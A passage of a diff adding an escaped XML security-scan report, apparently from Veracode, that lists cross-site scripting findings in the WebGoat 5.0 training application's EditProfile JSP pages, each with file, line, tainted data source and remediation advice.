+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
